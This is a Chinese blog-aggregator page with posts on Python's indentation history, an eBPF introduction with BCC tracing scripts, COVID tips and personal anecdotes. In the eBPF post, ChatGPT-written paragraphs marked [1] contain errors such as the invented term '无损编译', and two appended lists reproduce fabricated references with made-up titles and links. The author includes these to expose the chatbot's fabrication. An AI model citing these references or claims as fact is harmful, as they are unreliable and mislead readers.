1)事先订好桶装水,18L 的那种,让人可以给家里送水,发烧期间用水很快的。

2)生活上的事要做好全家病倒的准备,做饭只能整方便的做的或是速食的了,家里存点牛奶,面包,麦片,火腿肠,水果什么的,保证营养。再不行就点外卖,我家已经点了三天的外卖。还让孩子当个配送员跑腿到菜市场和超市开着视频买东西……

3)还是要提前备药,我是准备用药的时候,发现家里只找到了布洛芬和感冒冲剂,因为我有高血脂,我还要吃瑞舒伐他汀钙片,结果发现我周边 5 公里的药店基本全都休业了,估计店员都阳了。

4)有老人的,要照顾好。有呼吸困难的,一定要送急诊。

根据知乎上的这个通过搜索引擎的测算,第一波的结束大约会在明年春节前结束。最后祝大家好运。

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 感染新冠的经历 first appeared on 酷 壳 - CoolShell.

by 陈皓 at December 13, 2022 07:39 AM

pythoncat

Python 缩进语法的起源:上世纪 60-70 年代的大胆创意

上个月,Python 之父 Guido van Rossum 在推特上转发了一篇文章《The Origins of Python》,引起了我的强烈兴趣。
众所周知,Guido 在 1989 年圣诞节期间开始创造 Python,当时他就职于荷兰数学和计算机科学研究学会(简称 CWI),曾参与设计与实现了一门用于教学的 ABC 语言。这段工作经历以及 ABC 语言的某些设计思想对 Python 有着重要的影响。
文章标题是“Python 的起源”,文章作者 Lambert Meertens 是 Guido 在 CWI 时的导师,以同事亲历者的视角,讲述 Python 从无到有的起源过程。这样的文章我还未曾读过,因此饶有兴趣。
文章内容跟 Python 直接相关的部分并不多,作者花了较大篇幅介绍 ABC 项目的演变,讨论了编程语言的设计(特别强调的是简洁性 Simplicity)。
最引起我兴趣的内容是:缩进语法的设计!

More striking is the use of indentation. Although it was common in programs written in ALGOL 60 or its descendants, such as Pascal, to use indentation as a typographical layout feature for clarifying the grouping of commands, this was an entirely optional presentation choice, made purely for the benefit of the human reader. In an article by P. J. Plauger entitled “Signal and Noise in Programming Languages,”16 we found the (then) radical idea to “have the compiler read the same signal as we human beings, and let the indenting control grouping,” a suggestion we followed with enthusiasm. Indentation to indicate that a suite of commands belong together subsequently became mandatory in B0 programs, a design choice that has been maintained throughout all iterations.17

——节选自《The Origins of Python》

简单概括:当时在设计新的编程语言时,他们受到了一篇文章的强烈影响,决定仅采用缩进语法来控制代码块的分组。核心思想是“have the compiler read the same signal as we human beings”,为了代码简洁性及理解一致性,舍弃了其它的代码分组方案。
我极为推崇 Python 的强制缩进语法,曾写过一篇《Python为什么使用缩进来划分代码块?》介绍了这种设计的 8 个原因,但是,该文收到了大量的反对声,因此,我又补写了一篇《Python 的缩进是不是反人类的设计?》。
我知道自己的两篇文章不足以说服那些讨厌 Python 缩进的人,但是,如果有更多资料介绍这项设计的原因及思想来源的话,或许就能稍微地改观某些人的看法,同时也提供给那些喜欢这项设计的人一些信心~
作为 ABC 语言的继承者,Python 的缩进语法应该主要来源于它。因此,我决定沿着前文的线索,继续挖掘它们设计缩进语法的起源。
上文提到的文章标题为《编程语言中的信号与噪声》(Signal and Noise in Programming Languages),发表于 1975 年的 ACM 年会论文集,作者 P.J. Plauger 是全球知名的计算机科学家、C/ C++技术专家以及 The Standard C Library、Standard C : A Reference 和 The Standard Template Library 等图书的作者。
该篇文章想要区分编程语言的哪些语法是对读者有用的信号、哪些仅是无用的噪声。文中提到了一个编程理论:“常说的东西应该言简意赅(things which get said a lot should be concise)”。
由于代码经常要分组分块,因此,“信号与噪声”一文将begin...enddo...end 这两种当时常见的代码分组语法批评为糟糕的设计。它不反对花括号“{…}”的语法设计,但是提出了一种更为激进的设计,也就是仅用缩进来控制代码分组(let the indenting control grouping)。
按我的理解,P.J. Plauger 建议我们移除编程语言中的噪声。人们在阅读代码时,可以直观地根据代码的缩进层级将它们分组,因此缩进本身就是一种有意义的信号,如果激进地让机器也做到“所见即所得”的话,那甚至连“{…}”这种足够言简意赅的设计也不需要了。
P.J. Plauger 是个擅于总结编程风格/原则的人,他曾合作编写过一本《The Elements of Programming Style》(译本:编程格调),全书介绍了 70 多条最佳实践和编程规则。
只不过,相比于他提出的那些经典的编程规则,“使用缩进来分组代码块”不仅在 40 多年前是一条激进而少人接受的风格,它直到今天依然令某些人无法认同。
CWI 的团队当初在设计 ABC 语言时,激进地采用了缩进作分组的设计。通过溯源那篇“古老的”文章,我们知道了这种设计不是他们突然蹦出的,而是有着某种设计思想的指导,同时这也意味着,Python 的缩进设计除了有“终身仁慈独裁者(BDFL)”的个人偏好外,还隐含了这一层思想脉络的渊源。
另外,《The Origins of Python》中还提供了两个比《编程语言中的信号与噪声》更早的起源:
  • 1965 年的 ISWIM 编程语言(“If you See What I Mean”的首字母缩写)。它可能是有据可考最早使用缩进分组代码块的语言(尽管它没有实现),其设计者在《The Next 700 Programming Languages》中称之为“Off-side rule”(越位规则)
  • 1974 年唐纳德·克努特(Donald Knuth,著名计算机科学家、图灵奖获得者,经典巨著《计算机程序设计艺术》的作者)发表在 ACM 通讯的文章《 Structured Programming with Go To Statements》,他在畅想未来的编程语言时说:We will perhaps eventually be writing only small modules which are identified by name as they are used to build larger ones, so that devices like indentation, rather than delimiters, might become feasible for expressing local structure in the source language。
值得注意的是,唐纳德提供的参考材料正是 1965 年 ISWIM 之父的文章《The Next 700 Programming Languages》,里面收录了多位大佬对于缩进的讨论观点。
受限于当时的计算机硬件及编辑器工具,以及考虑到印刷对代码排版的现实性影响,纯缩进分组的代码确实可能会带来一些麻烦。因此,这些编程界的先驱们仅仅是在大胆畅想未来的编程语言的语法,当时并没有编程语言作出了实现。
从 1965 年的 ISWIM,到 1974 年唐纳德的畅想,再到 1975 年 P.J. Plauger 激进的想法,再到 1980 年代 ABC 及 Python 的落地实现。20 多年的时间,说长确实是挺长了。
如今 2022 年即将过去,Python 已经度过了它的“而立之年”, 受这种设计思想影响的编程语言也遍地开花:据维基百科统计,有近 30 门语言使用“Off-side rule”。
尽管某些语言(如 Scala、Nemerle、Haskell)只是可选性或部分性支持,但这份列表意味着在花括号占据统治地位的时代,缩进的星星之火依然迸发着顽强的生命力。畅想未来,我相信这份列表会加进更多语言,但愿那时可以打破 Python 一枝独秀的局面。
现在作一下总结吧。本文最先关注的是 Python 之父年轻时的导师的文章“Python 的起源”,但是我发现最吸引人的还是老生常谈的缩进话题,于是文章主题转向了“Python 的缩进语法的起源”。
不可否认,Python 的缩进语法属于是较为大胆的编程风格,但换个角度,你也可以认为它很前卫,因为它本就起源于计算机科学家们在畅想未来的编程语言时的一种创意。
缩进语法简洁、紧凑、清晰,它是营造出 Python 之美的最大功臣之一。人生苦短,我用 Python!

December 13, 2022 12:00 AM

December 10, 2022

coolshell

eBPF 介绍

很早前就想写一篇关于eBPF的文章,但是迟迟没有动手,这两天有点时间,所以就来写一篇,这文章主要还是简单的介绍eBPF 是用来干什么的,并通过几个示例来介绍是怎么玩的,这个技术非常非常之强,Linux 操作系统的观测性实在是太强大了,并在 BCC 加持下变得一览无余。这个技术不是一般的运维人员或是系统管理员可以驾驭的,这个还是要有底层系统知识并有一定开发能力的技术人员才能驾驭的了的。我在这篇文章的最后给了个彩蛋。

介绍

eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能。eBPF 的概念源自于 Berkeley Packet Filter(BPF),后者是由贝尔实验室开发的一种网络过滤器,可以捕获和过滤网络数据包。

出于对更好的 Linux 跟踪工具的需求,eBPF 从 dtrace中汲取灵感,dtrace 是一种主要用于 Solaris 和 BSD 操作系统的动态跟踪工具。与 dtrace 不同,Linux 无法全面了解正在运行的系统,因为它仅限于系统调用、库调用和函数的特定框架。在Berkeley Packet Filter  (BPF)(一种使用内核 VM 编写打包过滤代码的工具)的基础上,一小群工程师开始扩展 BPF 后端以提供与 dtrace 类似的功能集。 eBPF 诞生了。2014 年随 Linux 3.18 首次限量发布,充分利用 eBPF 至少需要 Linux 4.4 以上版本

eBPF 比起传统的 BPF 来说,传统的 BPF 只能用于网络过滤,而 eBPF 则可以用于更多的应用场景,包括网络监控、安全过滤和性能分析等。另外,eBPF 允许常规用户空间应用程序将要在 Linux 内核中执行的逻辑打包为字节码,当某些事件(称为挂钩)发生时,内核会调用 eBPF 程序。此类挂钩的示例包括系统调用、网络事件等。用于编写和调试 eBPF 程序的最流行的工具链称为 BPF 编译器集合 (BCC),它基于 LLVM 和 CLang。

eBPF 有一些类似的工具。例如,SystemTap 是一种开源工具,可以帮助用户收集 Linux 内核的运行时数据。它通过动态加载内核模块来实现这一功能,类似于 eBPF。另外,DTrace 是一种动态跟踪和分析工具,可以用于收集系统的运行时数据,类似于 eBPF 和 SystemTap。[1]

以下是一个简单的比较表格,可以帮助您更好地了解 eBPF、SystemTap 和 DTrace 这三种工具的不同之处:[1]

工具 eBPF SystemTap DTrace
定位 内核技术,可用于多种应用场景 内核模块 动态跟踪和分析工具
工作原理 动态加载和执行无损编译过的代码 动态加载内核模块 动态插接分析器,通过 probe 获取数据并进行分析
常见用途 网络监控、安全过滤、性能分析等 系统性能分析、故障诊断等 系统性能分析、故障诊断等
优点 灵活、安全、可用于多种应用场景 功能强大、可视化界面 功能强大、高性能、支持多种编程语言
缺点 学习曲线高,安全性依赖于编译器的正确性 学习曲线高,安全性依赖于内核模块的正确性 配置复杂,对系统性能影响较大

对比表格[1]

从上表可以看出,eBPF、SystemTap 和 DTrace 都是非常强大的工具,可以用于收集和分析系统的运行情况。[1]

用途

eBPF 是一种非常灵活和强大的内核技术,可以用于多种应用场景。下面是 eBPF 的一些常见用途:[1]

  • 网络监控:eBPF 可以用于捕获网络数据包,并执行特定的逻辑来分析网络流量。例如,可以使用 eBPF 程序来监控网络流量,并在发现异常流量时进行警报。[1]
  • 安全过滤:eBPF 可以用于对网络数据包进行安全过滤。例如,可以使用 eBPF 程序来阻止恶意流量的传播,或者在发现恶意流量时对其进行拦截。[1]
  • 性能分析:eBPF 可以用于对内核的性能进行分析。例如,可以使用 eBPF 程序来收集内核的性能指标,并通过特定的接口将其可视化。这样,可以更好地了解内核的性能瓶颈,并进行优化。[1]
  • 虚拟化:eBPF 可以用于虚拟化技术。例如,可以使用 eBPF 程序来收集虚拟机的性能指标,并进行负载均衡。这样,可以更好地利用虚拟化环境的资源,提高系统的性能和稳定性。[1]

总之,eBPF 的常见用途非常广泛,可以用于网络监控、安全过滤、性能分析和虚拟化等多种应用场景。[1]

工作原理

eBPF 的工作原理主要分为三个步骤:加载、编译和执行。

eBPF 需要在内核中运行。这通常是由用户态的应用程序完成的,它会通过系统调用来加载 eBPF 程序。在加载过程中,内核会将 eBPF 程序的代码复制到内核空间。

eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成,然后形成字节码后,将用户态的字节码装载进内核,Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中,内核会对 eBPF 程序的代码进行分析,以确保它不会进行恶意操作,如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查,它就可以在内核中正常运行了,其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集,以优化程序的执行速度。

下图是其架构图。

(图片来自:https://www.infoq.com/articles/gentle-linux-ebpf-introduction/

在内核中运行时,eBPF 程序通常会挂载到一个内核钩子(hook)上,以便在特定的事件发生时被执行。例如,

  • 系统调用——当用户空间函数将执行转移到内核时插入
  • 函数进入和退出——拦截对预先存在的函数的调用
  • 网络事件 – 在收到数据包时执行
  • Kprobes 和 uprobes – 附加到内核或用户函数的探测器

最后 eBPF Maps,允许eBPF程序在调用之间保持状态,以便进行相关的数据统计,并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储,其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的bpf_cmd系统调用来创建的,和Linux世界中的其他东西一样,它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的

总之,eBPF 的工作原理是通过动态加载、执行和检查无损编译过的代码来实现的。[1]

示例

eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例:

第一步:准备工作:首先,需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项,并重新编译内核。检查是否支持 eBPF,你可以用这两个命令查看 ls /sys/fs/bpflsmod | grep bpf

第二步:写 eBPF 程序:接下来,需要编写 eBPF 程序,用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python,它需要通过特定的接口访问内核的数据结构,并将收集到的数据保存到指定的位置。

下面是一个Python 示例(其实还是C语言,用python来加载一段C程序到Linux内核)

#!/usr/bin/python3

from bcc import BPF
from time import sleep

# 定义 eBPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>

BPF_HASH(stats, u32);

int count(struct pt_regs *ctx) {
    u32 key = 0;
    u64 *val, zero=0;
    val = stats.lookup_or_init(&key, &zero);
    (*val)++;
    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 加载 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="count")

name = {
  0: "tcp_sendmsg"
}
# 输出统计结果
while True:
    try:
        #print("Total packets: %d" % b["stats"][0].value)
        for k, v in b["stats"].items():
           print("{}: {}".format(name[k.value], v.value))
        sleep(1)
    except KeyboardInterrupt:
        exit()

这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 BPF_HASH 数据结构来保存统计结果(eBPF Maps),并通过捕获 tcp_sendmsg 事件来实现实时统计。最后,它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例,实际应用中可能需要进行更复杂的统计和分析。

第三步:运行 eBPF 程序:接下来,需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式(这个在上面的Python程序里你可以看到——Python引入了一个bcc的包,然后用这个包,把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上)。这个过程可以使用 BPF Compiler Collection(BCC)工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式,并将其加载到内核中。

下面是运行上面的 Python3 程序的步骤:

sudo apt install python3-bpfcc

注:在Python3下请不要使用 pip3 install bcc (参看:这里

如果你是 Ubuntu 20.10 以上的版本,最好通过源码安装(否则程序会有编译问题),参看:这里

apt purge bpfcc-tools libbpfcc python3-bpfcc
wget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz
tar xf bcc-src-with-submodule.tar.gz
cd bcc/
apt install -y python-is-python3
apt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils
apt install -y checkinstall
mkdir build
cd build/
cmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..
make
checkinstall

接下来,需要将上面的 Python 程序保存到本地,例如保存到文件 netstat.py。运行程序:最后,可以通过执行以下命令来运行 Python 程序:

$ chmod +x ./netstat.py
$ sudo ./netstat.py
tcp_sendmsg: 29
tcp_sendmsg: 216
tcp_sendmsg: 277
tcp_sendmsg: 379
tcp_sendmsg: 419
tcp_sendmsg: 468
tcp_sendmsg: 574
tcp_sendmsg: 645
tcp_sendmsg: 29

程序开始运行后,会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。

下面我们再看一个比较复杂的示例,这个示例会计算TCP的发包时间(示例参考于Github上 这个issue里的程序):

#!/usr/bin/python3

from bcc import BPF
import time

# 定义 eBPF 程序
bpf_text = """
#include <uapi/linux/ptrace.h>
#include <net/sock.h>
#include <net/inet_sock.h>
#include <bcc/proto.h>

struct packet_t {
    u64 ts, size;
    u32 pid;
    u32 saddr, daddr;
    u16 sport, dport;
};

BPF_HASH(packets, u64, struct packet_t);

int on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 记录数据包的时间戳和信息
    struct packet_t pkt = {}; // 结构体一定要初始化,可以使用下面的方法
                              //__builtin_memset(&pkt, 0, sizeof(pkt)); 
    pkt.ts = bpf_ktime_get_ns();
    pkt.size = size;
    pkt.pid = pid;
    pkt.saddr = sk->__sk_common.skc_rcv_saddr;
    pkt.daddr = sk->__sk_common.skc_daddr;
    struct inet_sock *sockp = (struct inet_sock *)sk;
    pkt.sport = sockp->inet_sport;
    pkt.dport = sk->__sk_common.skc_dport;

    packets.update(&id, &pkt);
    return 0;
}

int on_recv(struct pt_regs *ctx, struct sock *sk)
{
    u64 id = bpf_get_current_pid_tgid();
    u32 pid = id;

    // 获取数据包的时间戳和编号
    struct packet_t *pkt = packets.lookup(&id);
    if (!pkt) {
        return 0;
    }

    // 计算传输时间
    u64 delta = bpf_ktime_get_ns() - pkt->ts;

    // 统计结果
    bpf_trace_printk("tcp_time: %llu.%llums, size: %llu\\n", 
       delta/1000, delta%1000%100, pkt->size);

    // 删除统计结果
    packets.delete(&id);

    return 0;
}
"""

# 编译 eBPF 程序
b = BPF(text=bpf_text, cflags=["-Wno-macro-redefined"])

# 注册 eBPF 程序
b.attach_kprobe(event="tcp_sendmsg", fn_name="on_send")
b.attach_kprobe(event="tcp_v4_do_rcv", fn_name="on_recv")

# 输出统计信息
print("Tracing TCP latency... Hit Ctrl-C to end.")
while True:
    try:
        (task, pid, cpu, flags, ts, msg) = b.trace_fields()
        print("%-18.9f %-16s %-6d %s" % (ts, task, pid, msg))
    except KeyboardInterrupt:
        exit()

上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 tcp_sendmsg 事件时,记录数据包的发送时间;在捕获 tcp_v4_do_rcv 事件时,记录数据包的接收时间;最后,通过比较两个时间戳来计算传输时间。

从上面的两个程序我们可以看到,eBPF 的一个编程的基本方法,这样的在Python里向内核的某些事件挂载一段 “C语言” 的方式就是 eBPF 的编程方式。实话实说,这样的代码很不好写,而且有很多非常诡异的东西,一般人是很难驾驭的(上面的代码我也不是很容易都能写通的,把 Google 都用了个底儿掉,读了很多晦涩的文档……)好在这样的代码已经有人写了,我们不必再写了,在 Github 上的 bcc 库下的 tools 目录有很多……

BCC(BPF Compiler Collection)是一套开源的工具集,可以在 Linux 系统中使用 BPF(Berkeley Packet Filter)程序进行系统级性能分析和监测。BCC 包含了许多实用工具,如:

  1. bcc-tools:一个包含许多常用的 BCC 工具的软件包。
  2. bpftrace:一个高级语言,用于编写和执行 BPF 程序。
  3. tcptop:一个实时监控和分析 TCP 流量的工具。
  4. execsnoop:一个用于监控进程执行情况的工具。
  5. filetop:一个实时监控和分析文件系统流量的工具。
  6. trace:一个用于跟踪和分析函数调用的工具。
  7. funccount:一个用于统计函数调用次数的工具。
  8. opensnoop:一个用于监控文件打开操作的工具。
  9. pidstat:一个用于监控进程性能的工具。
  10. profile:一个用于分析系统 CPU 使用情况的工具。

下面这张图你可能见过多次了,你可以看看他可以干多少事,内核里发生什么事一览无余。

延伸阅读

一些经典的文章和书籍关于 eBPF 包括:

彩蛋

最后来到彩蛋环节。因为最近 ChatGPT 很火,于是,我想通过 ChatGPT 来帮助我书写这篇文章,一开始我让ChatGPT 帮我列提纲,并根据提纲生成文章内容,并查找相关的资料,非常之顺利,包括生成的代码,我以为我们以很快地完成这篇文章。

但是,到了代码生成的时候,我发现,ChatGPT 生成的代码的思路和方法都是对的,但是是比较老的,而且是跑不起来的,出现了好些低级错误,如:使用了未声明的变量,没有引用完整的C语言的头文件,没有正确地初始化变量,错误地获取数据,类型没有匹配……等等,在程序调试上,挖了很多的坑,C语言本来就不好搞,挖的很多运行时的坑很难察觉,所以,耗费了我大量的时间来排除各种各样的问题,其中有环境上的问题,还有代码上的问题,这些问题即便是通过 Google 也不容易找到解决方案,我找到的解决方案都放在文章中了,尤其是第二个示例,让我调试了3个多小时,读了很多 bcc 上的issue和相关的晦涩的手册和文档,才让程序跑通。

到了文章收关的阶段,我让ChatGPT 给我几个延伸阅读,也是很好的,但是没有给出链接,于是我只得人肉 Google 了一下,然后让我吃惊的是,好多ChatGPT给出来的文章是根本不存在的,完全是它伪造的。我连让它干了两次都是这样,这个让我惊掉大牙。这让我开始怀疑它之前生成的内容,于是,我不得我返回仔细Review我的文章,尤其是“介绍”、“用途”和“工作原理”这三个章节,基本都是ChatGPT生成的,在Review完后,我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语,这个术语简直了,于是我开始重写我的文章。我把一些段落重写了,有一些没有,保留下来的我都标记上了 [1],大家读的时候要小心阅读。

最后,我的结论是,ChatGPT只是一个不成熟的玩具,只能回答一些没有价值的日常聊天的问题,要说能取代Google,我觉得不可能,因为Google会基于基本的事实,而ChatGPT会基于内容生成的算法,在造假方面称得上是高手,可以列为电信诈骗的范畴了,我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了!

附件一:ChatGPT的造假载图和样本

点击看大图

点击看大图

ChatGPT 生成的样本一

  • Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南,涵盖了 eBPF 的基础知识和实践应用。
  • Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文,是一个介绍 eBPF 和 XDP(eXpress Data Path)的综述。
  • 谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念,并探讨了它对于 Linux 监控和可观察性的影响。
  • 微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文,介绍了 eBPF 在硬件加速方面的研究现状。
  • Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。
  • Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文,介绍了 eBPF 在 Linux 内核中的新执行环境。
  • 来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文,探讨了 eBPF 对性能分析的影响。
  • 《BPF Performance Tools: Linux System and Application Observability》一书中的第三章,讨论了 eBPF 的编译器和运行时系统。
  • 来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文,比较了 eBPF 和 Solaris DTrace 系统的区别。

ChatGPT 生成的样本二

  1. eBPF 程序开发指南(https://cilium.io/doc/ebpf/ebpf-guide/
  2. eBPF 官方文档(https://www.kernel.org/doc/Documentation/networking/filter.txt
  3. Linux 内核 eBPF 介绍(https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html
  4. eBPF 性能优化技巧(https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/
  5. eBPF 实战经验分享(https://blog.cloudflare.com/ebpf-in-practice/
  6. eBPF 在网络安全中的应用(https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/
  7. eBPF 实现 Linux 系统性能监控(https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/
  8. eBPF 入门教程(https://sysdig.com/blog/ebpf-getting-started/
  9. eBPF 与 BPF 比较(https://lwn.net/Articles/724647/
  10. eBPF 提高课程(https://www.pluralsight.com/courses/ebpf-advanced

附件二:发明的术语:无损编译器

点击看大图

点击看大图

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post eBPF 介绍 first appeared on 酷 壳 - CoolShell.

by 陈皓 at December 10, 2022 02:38 AM

December 06, 2022

anji66

一地鸡毛,高歌欢进(三)

奇葩的车祸

出差归来,一个人开车,就走了一个不常下的高速口下了。匝道最右边是绿通车道,旁边是人工车道,再过来三个是ETC车道,因为我要发票报销,自然走人工车道。事情也很简单,人工车道,因为车多的原因,加上有从匝道下来有一定的弧度,排队车辆就成了一个Y字形依次通过,当然我肯定在Y的左半枝上,并且是正对着收费口的。此时我的右边,也就是Y右枝上的车辆排队反倒是更长,有四五辆车之多,我们队伍加上我才两辆车看起来像我们像是插队的车。走着走着就到Y的节点上了,我右边的伙计不知道哪来的勇气,硬要想排我前面,如果此时摇下车窗,打个招呼我也就让你了,最烦愣头青硬挤的,本着绝不惯着,一丝一毫也不让你。然后前方车辆又挪动了半个车身,对方一脚油,只听嘎啦一声,他的车子蹭着我的反光镜,拉了长长一道,我以一个反光镜被蹭的代价,换了对方从前翼子板到前车门一道贯穿长印。

因为过于贴的紧,我车门也无法打开,无法下车,只见对方车上一顿电话,并且下车拍照取证,已证明他在正常排队,而我是插队的。我也不急着报警,也不急着下车,安心在车上坐着,不一会儿对方迅速上车,把车子开到收费站出口去了,我第一反应应该是交警在电话中叫他撤离现场,但是万一对方有事跑了咋办,我就报了个警,然后也驶出收费站了,看到对方在路边乖乖停车等着呢,接警员一会儿问我交警有没有到,一会儿问我对责任认定是否清楚,我说我很清楚,对方估计不清楚。高速交警一会儿问我对方有没有跑,一会儿说他们马上到,让我耐心等待。大概我的号码比较好记,也没见交警给对方打电话。

高速交警到达现场后,开始询问怎么回事,我还没开口,对方就呱啦呱啦的说我插队蹭了他,我也不出声,对方说完以后。交警来问我,我默默的掏出手机,之前在车上的时候已经将我的行车记录仪数据下载到手机上,然后就说了一句话:我正常排队出站,对方插队硬挤,不打灯,不打招呼,就蹭了。对方听我这么说,气急败坏的就在争辩,交警看过我的视频后,已了然于胸,告诉对方全责。问我有没有异议,有没有诉求。我说没有异议,我就反光镜蹭点漆,无伤大雅,对方肯认全责的话,我也不需要他赔偿,各走各的拉倒了。

对方大概咽不下这口气,毕竟他车两个面要做油漆,小1000块钱损失。在那赌咒发誓说我插队,交警也不多说,就问你如果有异议,你有证据吗?对方说有,有行车记录仪。然后就把车上的行车记录仪取下来,在行车记录仪上翻视频,翻了半天也没翻到。然后交警就拿了过来说我来看,然后一直翻到2016年的视频。也没看到今晚事发经过。交警就说你这是不是从来没清理过,也没有记录。证据这块作罢,但是对方还不死心,一直在叽里咕噜的嘀咕。这一对比,话说我的行车记录仪不知道要比对方高到哪里去了,这么好用的盯盯拍当然要推荐给正在阅读的你,京东链接奉上。

见对方也没个态度,交警就说如果对责任判定有异议,那就扣车处理了。对方估计也没搞明白扣车是个啥流程,就在跟交警较劲,这么小的事故为什么要扣车。交警也不废话,就说现在两辆车全部暂扣,会叫拖车将车拖到交警事故停车场,明天两位去交警队事故科进行处理。我二话没说,好的,警察同志扣车吧,开个单子我就打车回去了,出差回来累半死,毕竟都晚上9点多了。对方还是不想扣车,又在赌咒发誓自己没责任。交警说没事,去事故科,他们会调取收费站前面的监控的,能看见。又转头对我说,把你手机上的视频保存好,明天一起带过来,我说好的。对方见交警要呼叫拖车了又拦着不让。这时我插话了,我说大哥,你到底想咋地?不认可就拖车呗,明天看监控好了。交警也接话了,同志你到底想怎么处理?你有证据证明他蹭你吗?百分之百确定是对方责任吗?你如果确定百分之百是他的责任,明天去交警队一看就知道了,你担心啥?你们双方保留好证据就行。对方说那我行车记录仪没数据,也没证据啊。交警说他的证据也是证据。很明显我的证据对他相当不利。然后我又接话了,我说如果明天交警查出来责任在你的话,损失都由你承担哦。对方一想可能真的没把握全赢,也就悻悻的没气力了。交警上了最后一把火,对他说,现在他不追究你责任了,如果你认全责,他也不要你修车,你就自己修下。不认的话,等事故科定责下来还是你全责的话,可能对方还要追究你赔偿责任哦,修反光镜也是一个面。对方斟酌再三,又没百分百把握,在交警问他最后一遍是否拖车后,无奈的同意了各走各的建议。。。

▼图中圆圈中是剐蹭的对方,右边是绿通车道的队伍。

1.jpg


神奇的丢包

也是出差回上海的途中,只是这次行程是高铁,因为会议原因,原本17点半的高铁改签到晚上八点了。我坐的那班车上车的时候就没多少人,经过金华义乌后,人就更少了。在杭州东,我邻座的小兄弟也下车了,于是车厢中就剩下我,和最后排一堆夫妇。当列车临近抵达上海虹桥的时候,我拿上电脑,行李架上准备拿下背包。蓦然发现我的黑色背包不见了,留下一款烟灰色的背包。心里咯噔一下,坏了,包被人拿错了。

赶紧叫乘务员说我包丢了,我座位上方的背包不是我的。乘务员又把乘警叫了过来,问我包里是否有贵重物品、电脑、钱啥的?我说没有,电脑我拎在手上,背包就是换洗衣服,里面的还是脏衣服。然后一想不对,我还有个钱包在里面,虽然里面没钱,但是银行卡和身份证在里面。随手一摸口袋,还好身份证也在身上,就钱包丢了,好几张银行卡,对了还有最重要的我老婆和女儿的照片,跟乘务员说照片对我特别重要,银行卡无法就是花点时间去补办。(注:特别是老婆的照片是她从十几岁到三十几岁不同阶段的一寸照,一直放在钱包里,出门随身带的)。

我问乘务员说,能联系上我邻座的乘客吗?我敢确定是他拿走了我的包,因为他上车的时候也是背着一个黑色背包。乘务员和乘警都说涉及到旅客隐私,他们是无法获取旅客个人信息的。乘务员安慰我说一般不太会故意拿走,应该是错拿的。基本上乘客都会在发现拿错后在12306上登记失物找寻。让我放心。然后我、乘务员、乘警三方打开了现场留下的那款背包,打开就是几本书,鬼画符一样的字迹和公式啥的。然后另外一个乘务员说这应该是之前一味女士的,她是一个考研的学生。而我的邻座是位男士,而男士的背包被我看到的是黑色的而不是灰色的。

现在事情也比较明朗了,也就是在金华或者义乌下车的女士拿走了我邻座男士的黑色背包,邻座男士下车拿走了我的黑色背包,而我最后下车捡到了那位女士的灰色背包。因为我马上在虹桥下车了,乘务员让我不用担心应该会找到,当然让我和她互留了电话,告知我如果对方联系她,她会第一时间与我联系,与此同时我也在12306上发了失物找寻的工单。

走出虹桥站,17号线还没坐两站,一个江西的电话就过来了,是那位乘务员的声音,说我的背包找到了,确实是那位杭州下车的男士拿到了,并将那位男士的电话告知给我,让我们自行联系调换。稍后我与邻座男士联系上后,他很不好意思的跟我道歉说拿错了包,然后说把背包寄给我,希望我也把他的背包寄回。我跟他说了上面的“三角债”关系,让他赶紧找乘务员。隔了一天后,我的背包提前在杭州下车,在杭州兜了一圈,又回到了我的手上。

